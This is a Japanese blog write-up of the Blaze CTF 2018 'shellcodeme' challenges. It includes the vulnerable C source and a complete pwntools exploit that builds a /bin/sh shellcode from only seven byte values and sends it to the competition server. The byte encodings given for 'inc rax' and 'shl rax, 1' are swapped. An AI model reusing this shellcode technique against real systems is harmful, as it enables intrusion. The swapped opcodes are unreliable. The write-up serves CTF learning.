2018年4月26日木曜日

Blaze CTF 2018 shellcodeme(+hard) writeups

入力した文字列をそのままバイナリコードとして実行してやるけど、コードのバイトパターンは7種類までな。という問題でした。ご丁寧にソースコード付き。
// gcc -zexecstack -Os shellcodeme.c -o shellcodeme
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#define BUF_SIZE (0x4096 & ~(getpagesize()-1))

int main() {
    setbuf(stdout, NULL);
    unsigned char seen[257], *p, *buf;
    void (*f)(void);
    memset(seen, 0, sizeof seen);
    buf = mmap(0, BUF_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    puts("Shellcode?");
    fgets(buf, BUF_SIZE, stdin);
    fflush(stdin);
    for(p=buf; *p != '\n'; p++) {
        seen[256] += !seen[*p];
        seen[*p] |= 1;
    }
    if(seen[256] > 7) {
        puts("Shellcode too diverse.");
        _exit(1);
    } else {
        *(void**)(&f) = (void*)buf;
        f();
        _exit(0);
    }
}
 checksecはこう。
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments
さすがにshellcraft.sh()で生成したコードじゃ7種類とか無理なので、
  • レジスタ上で8バイトずつシェルコード構築
  • 8バイトずつスタックに積む(push rax)
  • 全部組み上がったところでスタックの先頭にジャンプ(jmp rsp)
という方針で考えてみました。

が、最初既出コードをaddしてシェルコード組もうとしても、
add レジスタ 値
の場合、値の部分は32bitまでで、pushが64bit単位だったりとなかなかうまくいかず
最終的にインクリメント(inc rax)とシフト(shl rax 1)でシェルコード生成、push rax、jmp rspの組み合わせだと7種類で収まるとわかりました。
inc rax = 48 d1 e0
shl rax 1 = 48 ff c0
push rax = 50
jmp rsp = ff e4
というわけで、解答コードは以下。
from pwn import *

context(os='linux', arch='amd64')

def makesh(val):
    base = 2 ** 63
    code = ''
    for i in range(64):
        code += 'shl rax, 1\n'
        if (val / base > 0):
            code += 'inc rax\n'
            val -= base
        base /= 2
    return code

shcode = asm(shellcraft.sh())
stack = ''
for i in range((len(shcode) + 7) / 8):
    sub8 = shcode[i * 8:(i + 1) * 8]
    for j in range(len(sub8), 8):
        sub8 += '\x00'
    stack = makesh(u64(sub8)) + 'push rax\n' + stack

stack += 'jmp rsp\n'

# r = process('./shellcodeme')
r = remote('shellcodeme.420blaze.in', 420)
r.sendlineafter('Shellcode?\n', asm(stack))
r.interactive()
shellcodeme_hardもバイナリよく見ないでこのコード流したら解けました。
自分の中ではこの方法しかないだろ的に思っていたところ、他の人のwriteupは全部方法が違っていて面白いなーと。

0 件のコメント:

コメントを投稿